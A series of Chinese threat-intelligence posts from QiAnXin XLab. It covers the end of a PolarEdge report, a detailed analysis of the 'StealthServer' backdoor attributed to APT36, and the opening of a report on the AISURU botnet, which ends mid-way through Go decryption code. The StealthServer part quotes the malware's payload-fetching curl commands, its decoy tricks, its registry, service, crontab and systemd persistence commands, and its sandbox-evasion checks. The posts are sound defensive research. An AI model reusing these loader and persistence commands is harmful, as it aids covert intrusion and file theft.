至此，我们对RPX系统的分析暂告一段落，以上是目前所掌握的主要发现。RPX_Client让我们得以一窥PolarEdge的中继机制；而RPX_Server与Go-ADMIN则首次揭示出这一威胁体背后的管理工具与基础设施。在这种架构下，由海量受侵IoT设备构成的代理节点，与由廉价VPS搭建的服务器节点遥相呼应，如同两道坚固的壁垒，为攻击者提供了有效的掩护，极大地增加了安全人员的追踪难度。

由于视野有限，PolarEdge威胁版图中后门样本与RPX系统之间的具体关联与互动方式，目前仍是未解之谜。我们诚挚欢迎掌握更多相关信息的业界同仁不吝分享，共同推进对这类威胁的认知与防御能力。

如果您对我们的研究感兴趣，或了解与PolarEdge相关的线索，欢迎通过微信公众号留言与我们联系。

关心IOC的读者，可点击下文的阅读原文，移步至XLAB官方博客原文的IOC章节以获取更多内容。

阅读原文

跳转微信打开

南亚某组织的双平台后门：StealthServer

Thu, 16 Oct 2025 10:54:00 +0800

原创奇安信X实验室 2025-10-16 10:54 北京

南亚地区长期以来都是网络攻击的高发地带，多个 APT 组织在此持续活跃且攻击频率和技术水平不断提升，我们也在关注和收集相关线索。从七月初以来陆续捕获到一批新的样本，包括 Windows 和 Linux 平台，这些文件的名字多与会议、采购等话题相关，比如“Meeting_Ltr_ID1543ops.pdf.desktop”、“PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.desktop”，在执行时表面上会打开一份 PDF 文档以误导用户，而真正的恶意负载在后台静默运行，打开的文档内容也多与政治、军队、会议等话题相关，且基本与南亚某国相关。

经过分析，这是一款名为 “StealthServer” 的后门，核心功能使用 Golang 编写，支持 Windows 和 Linux 双平台，包括多个迭代版本。“StealthServer”这个名字来源于最初发现的 Linux 样本，其通信服务器在收到客户端上线之后会响应一条确认信息{"service":"stealth-server","status":"ok"}。在之后发现的一个 Windows 变种中还发现了大量类似 “ULTRA-” 的字样，表明开发者曾想将 Windows 版本命名为 “ULTRA-CLIENT”，但在后续的 Windows 变种里去掉了这一特征，因此这里将两个平台的样本统一称为 “StealthServer”。

功能方面，StealthServer 实现了两个核心功能：一是窃取受害者主机上的文件，二是执行 C2 下发的任意命令。协议方面，StealthServer 积极尝试切换不同的协议进行通信：目前识别了三个 Windows 变种，前两个变种通过 TCP Socket 通信，第三个变种切换为 WebSocket 协议；Linux 样本中则发现了两个变种，分别使用 HTTP 和 WebSocket 协议。

除此之外，StealthServer 最显著的特点是通过插入大量垃圾代码和垃圾函数来干扰分析人员，显著拖慢逆向工程的进度，某些变种还试图通过循环访问“google.com”、“microsoft.com”等类似的白名单域名来干扰流量分析。

通过我们的测绘系统搜索今年六月初以来 Web.Title="*Stealth Server*" 的资产，能发现一些存活的后台登录地址，如下图中站点标题为 “Stealth Server - Login” 的条目所示。由于 StealthServer 的 C2 存活时间一般较短，并无太多指令跟踪或感染方面的视野，因此本文重点放在样本分析部分，一些早期针对部分变种的分析线索（https://www.linkedin.com/posts/pushprajthakre_apt36-cyberespionage-transparenttribe-activity-7364565847383695362-OSk3?ref=blog.xlab.qianxin.com）也可以作为参考。

后台登录界面如下。

关联分析

基于以下几点线索，推测该后门可能与 APT36 存在一些关联。

1）样本行为特征符合该组织的历史样本特征（https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/?ref=blog.xlab.qianxin.com）：比如使用 .desktop 分发二进制 ELF 文件，这些 .desktop 文件通常伪装为 PDF 快捷方式，文件名以及打开的 PDF 文件内容多与政治、采购、会议等话题有关且多与南亚某国相关，PDF 文件的 URL 一般以 Google Drive 链接的形式存在。

2）C2 与该组织的基础设施存在关联，这点主要基于域名结构的相似性进行推测：StealthServer 使用的域名多模仿某国政府部门的站点或工具比如“modindia[.]serveminecraft.net”、“modgovindia[.]space”、“kavach[.]space”，这些 C2 与近期一些针对该组织基础设施相关的分析报告中提到的 IoC 存在命名结构上的相似性以及解析方面的关联性，比如“modindia[.]serveminecraft.net”和“modgovindia[.]space”在七月初解析到“101.99.94[.]109“，此外今年六月中旬还有另一个域名“zahcomputers.pk[.]modpersonnel.support”且只有该域名解析到这个 IP，这些域名与上述分析文章里提到的同期出现的疑似该组织使用的钓鱼域名比如“mod.gov.in[.]defencepersonnel.support”、“email.gov.in[.]modindia.link”等存在高度相似的结构，今年四月份 SEQRITE 发布的一份分析报告（https://www.seqrite.com/blog/advisory-pahalgam-attack-themed-decoys-used-by-apt36-to-target-the-indian-government/?ref=blog.xlab.qianxin.com）中提到该组织使用了大量类似上述“.support”、“.link”等结构的域名用于钓鱼。

3）部分分析报告（https://www.cloudsek.com/blog/investigation-report-apt36-malware-campaign-using-desktop-entry-files-and-google-drive-payload-delivery?ref=blog.xlab.qianxin.com）和安全研究人员的公开数据（https://x.com/Cyberteam008/status/1966104752779047237?ref=blog.xlab.qianxin.com）将某些 C2 标记为该组织所属。

StealthServer 样本分析

Windows 和 Linux 平台的样本都使用 Golang 开发，且开发路径几乎一致，基本符合*/bossmaya/*/obfuscated*.go这一结构，我们收集了两种平台的一些开发路径如下所示。

EXE:
D:/bossmaya/linuxnewdownloader/windows-client/obfuscated_main.go
D:/bossmaya/newblkul/client/client_obfuscated.go
D:/bossmaya/newblkul/client/client.go
ELF:
D:/bossmaya/client/obfuscated_client.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go
/home/boss/Desktop/tgtfile/main_obfuscated_enhanced.go

样本加载方面，Windows 的样本使用包含恶意宏代码的 PPT 文档作为加载文件，Linux 的样本则使用该组织惯用的 .desktop 文件。尽管两种平台的样本在具体功能上略有差异，但仍表现出较多共性，除了高度相似的开发路径以外，还有类似的虚拟环境检测、持久化等方法。但综合来看，以下两点是两个平台的样本最突出的共同特征。

（1）相似的代码结构，前面大片的代码都是垃圾代码和垃圾函数调用，核心代码放在尾部，这可以有效拖慢分析过程，如下图所示。

（2）相似的垃圾代码机制，除了在样本开头放置大量垃圾代码以外，还会在关键代码的上下文插入垃圾代码，且某些垃圾函数使用了相同的代码实现，比如无意义的循环计算、无意义的加密解密算法等，如下所示是一个无意义的斐波那契序列实现。

Windows-V1: TCP

# Loader

Windows 变种的第一个版本出现在七月份，入口文件是一个名为 “PM & Est Sanction Final 2025.ppam” 的 PPT 文档，这个文档内含一段恶意宏脚本，可以用 oledump 工具提取出来，如下图所示。当用户设置允许 Office 文档的宏代码执行时，会自动执行下述宏代码，整个运行过程涉及两个 URL，其中第一个https://filestore[.]space/SoftsCompany/d/11/MES-Presentation是用于误导用户的 ppt，第二个https://filestore[.]space/SoftsCompany/d/14/nodejs是恶意载荷 StealthServer。

# StealthServer

1. 分析对抗

除了使用大量垃圾代码之外，StealthServer 还使用了较多手段来对抗分析，以及设置持久化驻留。

（1）反调试、反沙箱

① 执行命令tasklist /fi "imagename eq %s*" | find /i "%s"检测是否存在下述沙箱和虚拟机相关字符串的进程。

VMware
VirtualBox
VBOX
QEMU
Xen
Hyper-V
Parallels
KVM
Virtual
VM
vbox
vmware

② 调用 IsDebuggerPresent() 函数判断是否处于调试状态。
③ 获取 PEBDebugFlag 来判断是否处于调试状态。
④ 判断下述目录是否存在，如果存在则认为处于分析环境。

C:\\analysis
C:\\sandbox
C:\\malware
C:\\sample
C:\\virus
C:\\quarantine

⑤ 判断当前用户名是否是下述列表中之一，如果符合则则认为处于分析环境。

admin
administrator
sandbox
malware
virus
user
test
analyst
john
jane

（2）干扰流量

循环请求如下几个网站，干扰流量分析。

google.com
microsoft.com
cloudflare.com
amazon.com
facebook.com
httpbin.org

（3）隐藏终端窗口

调用如下 powershell 指令cmd /C powershell -WindowStyle Hidden -Command exit创建一个隐藏的终端窗口。

（4）互斥体检测

通过检查互斥体来判断是否已有同名实例在运行，对字符串nodejs_instance_mutex计算 sha256 之后拼接Global\\%x得到互斥体名称，随后执行下述指令进行检测cmd /C powershell -Command \"$mutex = New-Object System.Threading.Mutex($false, '%s'); if($mutex.WaitOne(0)) { exit 0 } else { exit 1 }

2. 持久化

（1）隐藏文件

把自身文件拷贝到%APPData目录下并改名为 nodejs.exe，执行attrib +h +s给文件添加隐藏属性和系统属性，使得文件不可见。

（2）注册表自启动

执行reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v nodejs /t REG_SZ /d \"%s\" /f将 nodejs.exe 添加注册表自启动。

（3）自动启目录

在启动目录 Startup 下创建 .ps1 文件create_shortcut.ps1，使用 powershell 执行该脚本创建一个 lnk 文件System Update.lnk到\\Microsoft\\Windows\\Start Menu\\Programs\\Startup目录，文件路径指向 nodejs.exe。

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut('%s')
$Shortcut.TargetPath = '%s'
$Shortcut.WorkingDirectory = '%s'
$Shortcut.WindowStyle = 7
$Shortcut.Save()

（4）计划任务

通过执行sc create "NodeJSUpdater" binPath= "%s" start= auto DisplayName= "Node.js Background Updater" type= own以及sc start "NodeJSUpdater"创建计划任务实现定期执行。

3. 网络通信

样本使用的服务器地址是modindia.serveminecraft[.]net，使用 TCP 协议收发 JSON 格式的数据进行交互，端口为 8080。上线包格式如下，id 字段硬编码在样本中，可能用于标记不同批次的样本或样本的版本，location 字段用“windows - ”拼接当前主机名，antivirus 字段表示杀软名。通信逻辑的上下文中也掺杂着大量垃圾代码，用于干扰分析过程。

{
  "id": "633734336633383138326436323966326463656638303966363166663933356163363239363364eae2d6e4",
  "location": "windows - DAJI0A22",
  "antivirus": "Unknown"
}

支持如下三个指令。

LIST：获取文件列表
UPLOAD：上传指定文件
DOWNLOAD：下载指定文件

Windows-V2: TCP

八月底发现了另外一个版本的 Windows 变种，文件名为 “proxifiersetup.exe”，该变种对核心功能函数的名字进行了混淆，开发路径为D:/bossmaya/newblkul/client/client_obfuscated.go，和下文介绍的 Linux 版本使用了相同的路径，而且提示信息里表明了该变种的名字为“ULTRA-CLIENT”。基本功能只发生了一点变化比如多了检测Ollydbg、x64dbg、IDA等安全分析工具的反调试的方法，其他方面没有太多变化。

网络通信方面，远程 C2 通过 XOR 加密，但实际还内置了两个备份 IP，C2 使用的端口都是8080。

sinjita[.]store
45.155.54[.]122
45.155.54[.]62

上线包稍微发生了一点变化，增加了一个os字段，id字段由随机生成的 8 个字节拼接而来，支持的三个指令LIST、UPLOAD、DOWNLOAD没变。

{
  "id": "ultra_client_6edc15ad7feac78f",
  "location": "Roubaix, Hauts-de-France, France - UltraPC(Rubin)",
  "os": "Microsoft Windows [�æ±¾ 10.0.22621.4317",
  "antivirus": "Windows Defender"
}

Windows-V3: WebSocket

八月底捕获了另一个变种，改为使用 WebSocket 协议通信，C2 服务器为ws://kavach[.]space:5500，功能与下面要介绍的 Linux 版本二相同，此处不作赘述。

Linux-V1: HTTP

# Loader

Linux 变种的第一个版本发现在八月初，入口样本是一个名为 “Meeting_Ltr_ID1543ops.pdf.desktop” 的文件，“.desktop”文件即 Linux 的快捷方式或程序启动器，类似 Windows 的 .lnk 快捷方式文件。频繁使用 .desktop 文件作为 loader 来投递不同工具，是该组织一个明显的行为特征。

这个 .desktop 文件表面上伪装成一个 PDF 文档的快捷方式，在桌面/菜单中显示的名字是 “Meeting_Ltr_ID1543ops.pdf”，执行后会打开用户机器上的 Firefox 浏览器访问一个 GoogleDrive 页面误导用户，这是一份标有 “CONFIDENTIAL（机密）” 的文件，内容大致是 “某国国防研究与发展组织（DRDO）与以色列国防企业在滑翔炸弹和高速系统（包括高超音速推进技术等）方面的研发联盟相关事宜”，这也符合该组织常用的钓鱼主题。

实际上会从远程恶意服务器下载一个文件 “Mt_dated_29.txt”，保存到 /tmp 目录下且命名格式为“/tmp/Meeting_Ltr_ID1543ops.pdf-$(date +%s)”。这个文件就是 StealthServer，但是是十六进制 HEX 格式的字符串内容，因此使用“xxd -r -p”命令将其恢复为二进制 ELF 文件，然后“chmod +x”之后执行。

curl -s "https://securestore[.]cv/ghg/Mt_dated_29.txt"

另一个变种的 Loader 使用十六进行 HEX 字符串的格式编码 URL，而非 base64，如下图所示变量 a 解码后是https://trmm[.]space/SoftsCompany/d/27/clipboard.txt，b 解码后是“firefox”，c 解码后是用于误导的 pdf 链接https://drive.google.com/file/d/1C-PH7EEOhv5gjYzKnsz_KGBe48454QGc/view?usp=sharing，功能是相同的，不再赘述。

# StealthServer

和 Windows 版本的样本不同，Linux 版本的 StealthServer 的代码进行了函数名混淆，开发路径为 D:/bossmaya/client/obfuscated_client.go。

1. Junk code/Junk Function

init 和 main 函数前面大部分内容都是 Junk Function 和 Junk Code，用于干扰分析，Junk Code 主要是执行无意义代码，包括两类，一类是比如包含空代码的大量循环和休眠，另一类是对一段无意义数据进行循环压缩/加密/解密。

2. 反调试

通过获取 /proc/self/status 文件的内容，判断里面包含的进程状态信息“TracerPid: N”。

如果 N = 0 → 没有被调试器跟踪。
如果 N ≠ 0 → 被某个调试器（如 gdb、strace）附加。

3. 持久化

（1）添加系统服务

首先在当前用户目录下创建如下目录结构，其中 “/home/username/.config/systemd/user/default.target.wants/system-update.service”是一个符号链接指向“/home/username/.config/systemd/user/system-update.service”。

然后将自身 ELF 文件拷贝到“/home/username/.config/systemd/systemd-update”，并释放服务文件“/home/username/.config/systemd/user/system-update.service”，主要是保证样本一直处于运行状态，最后使用 systemctl 启动该服务，文件内容如下。

[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/home/username/.config/systemd/systemd-update
Restart=always
RestartSec=10
User=username
[Install]
WantedBy=default.target

（2）在 ~/.bashrc 和 ~/.profile 文件尾部增加启动指令

~/.bashrc是 bash shell 的配置文件，在 shell 启动时加载并执行其中的预配置指令，~/.profile用于环境变量、用户登录时的初始化操作，增加的指令如下，用于在后台启动样本。

# System update service
nohup /home/username/.config/systemd/systemd-update >/dev/null 2>&1 &

4. 网络通信：支持三个指令

C2 服务器地址为“modgovindia[.]space”，和 Windows 版本的域名“modindia.serveminecraft[.]net”解析到了相同的 IP 地址“101.99.94[.]109”。具体通信过程如下，首先 HTTP 请求 “http://modgovindia[.]space:4000/health”，判断服务器是否活跃，响应内容中的 service 字段指明了该工具的名字。

然后请求http://modgovindia[.]space:4000/commands，尝试获取指令，响应内容是 JSON 格式，支持下面三个指令。最后把执行完的命令的结果通过请求http://modgovindia[.]space:4000/command-response响应给 C2。

1）'browse'
遍历指定目录下的文件列表，响应内容中的 'path' 字段指示了目标路径。
2）'upload'
上传指定文件。
3）'execute'
执行 bash 命令。

5. 窃取文件

从根目录/开始遍历，搜索所有如下后缀的文件。

.pdf
.doc
.xls
.ppt
.txt
.zip
.rar

当遍历到上述后缀的文件，首先发送一个 GET 请求通知服务器，X-Username 字段是当前用户的名字。

然后执行 POST 请求“/upload?last=true”把文件发送到远程服务器，X-Username 用于标记当前用户名，便于服务器识别对应文件属于哪一个用户，X-File-Name 是 base64 编码的文件名。文件内容经过 AES-GCM 算法加密，加密过程是首先获取硬编码在样本中的一个字符串，进行 sha256 计算之后作为 AES 的 key，然后随机生成 12 字节作为 GCM 的 Nonce，并保存在请求中的 X-Nonce 字段，最后加密完毕得到的 16 字节 Tag 数据附加在文件密文尾部，一起发送到远程服务器。

以上图发送的文件为例，样本中硬编码的 AES.key 原始字符串为617d6e6f298505d2855f3f85e30a971a01bee4fb9417456d2e11090e170e80ea，因此能够还原得到下述文件内容。

Linux-V2: WebSocket

# Loader

八月中旬发现了另一个 Linux 版本的样本，入口是一个名为 “PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.desktop” 的文件，内容包含三千多行注释，在文件中部包含了实际会执行的指令。执行逻辑基本同 HTTP 版本的样本，只不过 cmd 指令通过 base64 编码。

同样地，打开 Firefox 浏览器访问下述 GoogleDrive 页面欺骗用户，这是一份名为 “Draft RFI for PDS 18 Aug 25 Final.pdf” 的文件，内容大概是 “转发关于《征询信息（RFI）》的草案，用于采购“可携带、轻便的被动探测与对抗措施系统（LWPD-CMS）””。

firefox --new-window "https://drive.google.com/file/d/1kn0L_6WYbfUUx0dmzwfALDnzkVHJAPTu/view?usp=drive_link"

StealthServer 的 Payload 也是一份十六进制 HEX 格式的字符串文件，经过“xxd -r -p”指令即可转换为 ELF 文件，添加可执行权限之后运行程序。

eaMXJW="--fail --location --show-error"; curl ${eaMXJW} "https://drive.google.com/uc?export=download&id=1VQQiTt78N3KpYJzVbE-95uILnO84Wz_-" | xxd -r -p

# StealthServer

这个变种的开发路径是 “D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go”，标记为增强版，同样使用了大量垃圾代码，但函数名并没有进行混淆。

1. 持久化

不同的是这个变种可以接受一个参数“--hidden”，当传入这个参数时会跳过持久化的部分。持久化的逻辑是把自身 ELF 文件拷贝到“~/.config/system-backup/”目录下，然后添加 crontab 计划任务命令@reboot %s > /dev/null 2>&1，这会使每次系统重启后自动运行拷贝后的 ELF 文件，并且完全隐藏它的输出。随后添加下述系统任务“system-backup.service”保证持续运行。

[Unit]
Description=System Backup Service
After=network.target
[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=10
User=%s
[Install]
WantedBy=default.target

2. 网络通信

该变种通信协议改为 WebSocket 协议，但数据包还是使用 JSON 格式，C2 经过 base64 编码：“d3M6Ly9zZWVteXNpdGVsaXZlLnN0b3JlOjgwODAvd3M=”，解码后得到ws://seemysitelive[.]store:8080/ws。当连接成功之后客户端响应如下信息，其中包括"Welcome to Stealth Server"。

{
  "type": "welcome",
  "client_id": "fd77350b-d70b-4978-bc54-bc5b16843904",
  "data": "Welcome to Stealth Server",
  "timestamp": "2025-08-20T03:04:07.8960862-07:00"
}

然后向 C2 发送如下客户端信息。

{
  "type": "client_info",
  "client_id": "7a8dfc96-eea9-4c46-8e48-0ddb2dd2be41",
  "data": {
    "current_dir": "/tmp",
    "hostname": "buffalo",
    "ip_address": "35.*.*.48",
    "location": "Council Bluffs, Iowa, United States",
    "os": "linux",
    "username": "root"
  },
  "timestamp": "2025-08-20T10:04:07.538478245Z"
}

随后客户端和服务端每隔 30 秒互相向对方发送心跳信息。

response：
{
  "type": "heartbeat",
  "timestamp": "2025-08-20T03:04:37.8972773-07:00"
}
sendto：
{
  "type": "heartbeat_response",
  "client_id": "7a8dfc96-eea9-4c46-8e48-0ddb2dd2be41",
  "timestamp": "2025-08-20T10:04:36.244598102Z"
}

支持如下几个指令：

browse_files：发送指定路径的文件列表
upload_execute：上传指定文件
start_collection：搜索指定后缀的文件
ping
welcome
heartbeat

结论

该组织攻击活动频繁，呈现工具多、变种多、投递频率高等特点。若您对此话题感兴趣，欢迎通过 X 平台（https://x.com/Xlab_qax?ref=blog.xlab.qianxin.com）与我们联系。

IoC

Samples：
dc64c34ba92375f8dc8ae8cf90a1f535a0aa5a29fcf965af5ad4982cd16e9d71
8f8da8861c368e74b9b5c1c59e64ef00690c5eff4a95e1b4fcf386973895bef1
6347f46d77a47b90789a1209b8f573b2529a6084f858a27d977bf23ee8a79113
662890bb5baba4a7a9ba718bdedd6991fbf9867c83e676172f5527617e05cafa
264d88624ec527458d4734eff6f1e534fcacb77e5616ae61abed94a941389232
56260e90bba2c50af7c6d82e8656224ece23445f1d76e87a97c938ad9883005f
499f16ed2def90b3d4c0de5ca22d8c8080c26a1a405b4078e262a0a34bcb1e31
7a946339439eb678316a124b8d700b21de919c81ee5bef33e8cb848b7183927b
10b54abba525686869c9da223250f70270a742b1a056424c943cfc438c40cc50
ece1620e218f2c8b68312c874697c183f400c72a42855d885fc00865e0ccc1a1
ab85924ba95692995ac622172ed7f2ebc1997450d86f5245b03491422be2f3d6
cf39bb998db59d3db92114d2235770a4a6c9cbf6354462cfedd1df09e60fe007
Domain：
modindia[.]serveminecraft.net
modgovindia[.]space
seemysitelive[.]store
solarwindturbine[.]site
sinjita[.]store
sinjita[.]space
seeconnectionalive[.]website
windturbine[.]website 
kavach[.]space
zahcomputers.pk[.]modpersonnel.support
discoverlive[.]site
cloudstore[.]cam
IP：
45.155.54[.]122	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.54[.]62	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.54[.]28	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.53[.]179	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.53[.]204	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.141.58[.]199	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc
101.99.94[.]109	Bulgaria|Sofia-Capital|Sofia	AS45839|Shinjiru Technology Sdn Bhd
164.215.103[.]55	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc
161.97.82[.]97	France|Grand Est|Lauterbourg	AS51167|Contabo GmbH
5.178.0[.]29	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc
Golang path：
D:/bossmaya/linuxnewdownloader/windows-client/obfuscated_main.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go
D:/bossmaya/client/obfuscated_client.go
D:/bossmaya/newblkul/client/client.go
D:/bossmaya/newblkul/client/client_obfuscated.go
/home/boss/Desktop/tgtfile/main_obfuscated_enhanced.go

原文地址如下或者点击阅读原文即可跳转：

https://blog.xlab.qianxin.com/apt-stealthserver-cn/

阅读原文

跳转微信打开

史上最强？揭秘11.5T级超大规模僵尸网络AISURU的内幕

Mon, 15 Sep 2025 12:45:00 +0800

原创奇安信X实验室 2025-09-15 12:45 北京

概述

2025年以来，全球DDoS攻击的带宽峰值不断刷新历史纪录，从年初的3.12 Tbps一路飙升至近日惊人的11.5 Tbps。在多起具有高影响力或打破流量纪录的攻击事件中，我们均监测到一个名为AISURU的僵尸网络在幕后频繁活动。

Cloudflare报告11.5T攻击事件:

XLAB攻击事件监控数据:

AISURU僵尸网络最初于2024年8月由XLab首次披露，曾参与针对《黑神话：悟空》发行平台的DDoS攻击。自今年3月以来，XLab大网威胁监测平台持续捕获到该僵尸网络的新样本。多方信息显示，其背后团伙在4月涉嫌入侵某品牌路由器固件升级服务器，通过下发恶意脚本进一步扩展僵尸网络规模，当前节点数量据称已达30万。

更值得警惕的是，部分AISURU样本中嵌入的“彩蛋”信息已明显超出纯粹的攻击意图，转而试图传递特定意识形态内容。基于这一严峻态势，我们决定撰写本报告，向安全社区公开相关研究成果，呼吁各方携手应对，共同打击这一愈发猖獗的网络犯罪活动。

匿名消息源 & XLab视野

由于XLab长期深耕DDoS攻击这一领域，并持续发布可靠且独具深度的分析报告，这为我们不仅在防御者群体中、也在攻击者圈内积累了良好的声誉。近日，针对AISURU/ AIRASHI这一僵尸网络，有知情的匿名消息源主动向我们提供了相关情报，希望能像此前打击Fodcha僵尸网络一样，彻底瓦解AISURU。这一线索让我们终于有机会走近AISURU背后的团伙，揭开僵尸网络的运作内幕。

匿名消息源

据匿名消息源称：AISURU团伙有3个关键人物，代号分别为Snow, Tom, Forky。2022年，Forky认识了当时尚在微末的Snow和Tom，经过catddos僵尸网络等几次愉快的合作之后，三人一拍即合，决定成立现在的AISURU团队。

Snow：负责僵尸网络的开发
Tom：负责漏洞，包括0day发现，Nday整合
Forky：负责僵尸网络的销售

2025年4月，Tom成功入侵totolink的一台路由升级服务器，将固件升级的url设定为下载执行恶意脚本。这意味着每台执行升级操作的totolink路由器，都有可能感染AISURU僵尸网络。

这次入侵让AISURU僵尸网络的规模迅速攀升，在极短的时间内突破10万级。如此庞大的规模，让他们也有点措手不及，不得不牺牲睡觉时间，加班加点在数个C2 IP上配置策略，配合GRE TUNNEL进行分流。

AISURU团伙成员行事张扬，常以“好玩”为由对ISP发动攻击，破坏性非常强。这使得他们在DDoS圈内口碑非常差，常被别人戏称为“精神不正常”，可以说是树敌无数。

4月底，DDoS圈内人士决定给AISURU团伙一点颜色看看，开始在社交媒体各种爆料。先是在一次Cloudlare表示缓解创记录的5.8Tbps的推文下，回复道：“这是来自340k totolink路由的攻击！”；几天又曝光更重量级的证据：僵尸网络的后台截图。从统计数据来看当时bot在线总数超过30万，其中3万来自中国。他一边高呼“welcome to totolink botnet”，一边@totolink以及国际刑警，希望引起公众，执法机构注意，以实现对AISURU的打击意图。

目前totolink升级服务器的漏洞已被修补，AIRUSU团伙也幽默的表示RIP TOTOLINK 2025-2025，但其实AIRUSU僵尸网络的规模并未被影响，依然保持在30万左右。

在2025年9月创记录的12.1 Tbps之前，Aisuru做过数次攻击测试，包括对知名记者Brian Krebs个人网站的攻击，攻击流量均创造了当时的“世界记录”。

有意思的是“Ethan J Foltz”是Rapper Botnet的作者的真名，他于2025年8月6日被捕；而上图中“Ethan J Foltz”这个ID背后之人其实是Snow，他使用这种方式赤裸裸的嘲讽Rapperbot，这或许是AISURU团伙在DDoS圈人人喊打的原因之一。

XLab视野

对于匿名消息源提供的故事，读者肯定会有类似的想法：“这的确是很有趣的瓜，可你这瓜保熟不？”我们或许无法验证这些人物，但依托于XLab大网威胁感知系统强大的监测能力，我们对样本，C2，攻击事件均有良好的视野。以该团伙的数次关键活动为线索，通过数据交叉比对，我们认为匿名消息源提供的情报具有较高的可信度。

1：2025年4月向totolink升级服务器植入的恶意脚本t.sh

从26日起，脚本开始使用一个域名updatetoto.tw，可以通过域名排名系统Tranco来衡量它的活跃程序。

以4月29日到5月30日的排名为例，updatetoto.tw这个于4月25日才创建的Downloader域名在短短的一个月内就在全球域名中排到了672588，证明AISURU团伙这次的感染活动非常成功。

2：2025年4月开启GRE TUNNEL的C2 IP

Aisuru团伙在151.242.2.[22 - 25]这4个IP 配置GRE Tunnel，它们角色其实是C2服务器。

而我们在4月份捕获的C2 approach.ilovegaysex[.]su的TXT记录解密后涵盖了这4个IP，说明这个C2隶属于Aisuru团伙。

3：2025年5月对KrebsOnSecurity的攻击

对恶意域名 ilovegaysex 所关联的 C2 服务器进行指令跟踪，今年5月监测到其针对网络安全调查记者 Brian Krebs 的个人博客发起了网络攻击。

4：2025年9月对185.211.78.117的攻击

对恶意域名 ilovegaysex 所关联的 C2 服务器进行指令跟踪，今年9月监测到对185.211.78.117发起了网络攻击，流量是惊人的11.5 Tbps。

样本传播

依托于XLab大网威胁感知系统的能力，我们观察到Aisuru样本最近主要通过NDAY漏洞传播，同时具备0DAY漏洞的利用能力。去年6月开始使用的美国Cambium Networks公司的cnPilot路由器0DAY仍然在利用。Aisuru传播样本使用的部分漏洞如下：

攻击统计

Aisuru僵尸网络的攻击目标遍布全球，分布在各个行业，主要攻击目标分布在中国、美国、德国，英国，中国香港等地区。并无明显的强针对性。每日攻击目标几百个左右。

DDoS攻击趋势：

受害者地区分布：

技术分析

从2025年3月14日起，AIRURU团伙开始投递新的僵尸网络样本，和目前掌握的源码进行比对，我们发现更新主要集中在加密方式上，截止目前发现的更新可以分成俩大版本。

版本一的更新包括：使用ecdh-P256进行密钥交换，之后生成共享的chacha20密钥对网络通信消息加密；DNS-TXT记录不再使用base64+chacha20解密，使用base64+xor解密；新的攻击指令、消息格式
版本二的更新包括：精简网络协议，删除ecdh-P256密钥交换过程，；魔改xxhash算法用于验证消息完整性；魔改RC4算法用于解密样本字符串和通信key；

第一个版本只持续了半个月左右时间，后续主要使用第二个版本样本。下文以版本二的样本为主要分析对象，着重介绍Aisuru的对抗手法，加密算法以及网络协议。

环境检测

样本启动后会检测当前进程命令行中是否包含以下字符串:

tcpdump
wireshark
tshark
dumpcap

检查内核的硬件标识信息是否包含以下字符串：

VMware
VirtualBox
KVM
Microsoft
QEMU

如果检查到上述情况，则程序退出，在一定程度上干扰样本的动态分析

Killer对抗

Linux 内核有一个 OOM Killer（Out-Of-Memory Killer），当系统内存不足时，它会挑选一些进程强制结束来释放内存。该样本通过在/proc/self/oom_score_adj写入-1000来禁用该功能，以获取到更多的执行时间。

正所谓的同行是冤家，每个Botnet Operator都想独占设备，对于设备的争夺非常激烈，一个设备今天属于A，明天又被B入侵的情况屡见不鲜。比如Aisuru和Rapperbot的在nvms9000设备的竞争上就非常白热化，当Aisuru做为胜利方接管了设备后，都要忍不住的跳出来嘲讽Rapperbot，贴脸开大。

大部分僵尸网络样本为了多平台兼容性，使用静态链接编译样本，导致它们不使用任何共享库；此外还会在运行后删除自身文件。但这也让不少僵尸网络将上述作为特征进行kill，以击败自己的竞争对手。

为了对抗上述killer，样本启动后会在/lib/中搜索以.so结尾的共享库文件并映射到当前进程中；不删除文件并将文件名替换为libcow.so；进程名同样是被检查的重点对象，样本将进程名替换为以下常见的进程名之一：

telnetd
udhcpc
inetd
ntpclient
watchdog
klogd
upnpd
dhclient

魔改的RC4加密算法

和之前的AIRASHI版本相比，新样本解密字符串时也不再使用标准的RC4算法，校验消息时不再使用标准的HMAC-SHA256算法。

新样本使用了魔改的RC4算法，密钥为PJbiNbbeasddDfsc，该密钥在多个版本中都没有变化，或许是向Fodcha僵尸网络致敬。算法保留了RC4的256字节的S盒，在初始化和生成密钥流时增加新的扰动，等效的Golang实现如下:

func AIRASHI_RC4(data []byte) []byte {
	key := make([]uint32, 4)
	keyBytes := []byte("PJbiNbbeasddDfsc")
for i := 0; i < 4; i++ {
		key[i] = binary.BigEndian.Uint32(keyBytes[i*4 : (i+1)*4])
	}
	S := make([]byte, 256)
	i := 13
for j := 0; j < 256; j++ {
		S[j] = byte(i & 0xff)
		i -= 89
	}
	j := 0
for i := 0; i < 256; i++ {
		j = (j + int(S[i]) + int(key[i%4]>>(i%32))) % 256
		S[i], S[j] = S[j], S[i]
	}
	seed := uint32(0xE0A4CBD6)
for i := 0; i < 5; i++ {
for k := 0; k < 256; k++ {
			seed = 0x41C64E6D*seed + 12345
			t := (seed * uint32(S[k])) >> 24
			t1 := (seed ^ key[(i+k)%4] ^ uint32(S[k])) & 0xff
			S[k] = byte(t1)
			j = (int(t1) + j + int(t)) & 0xff
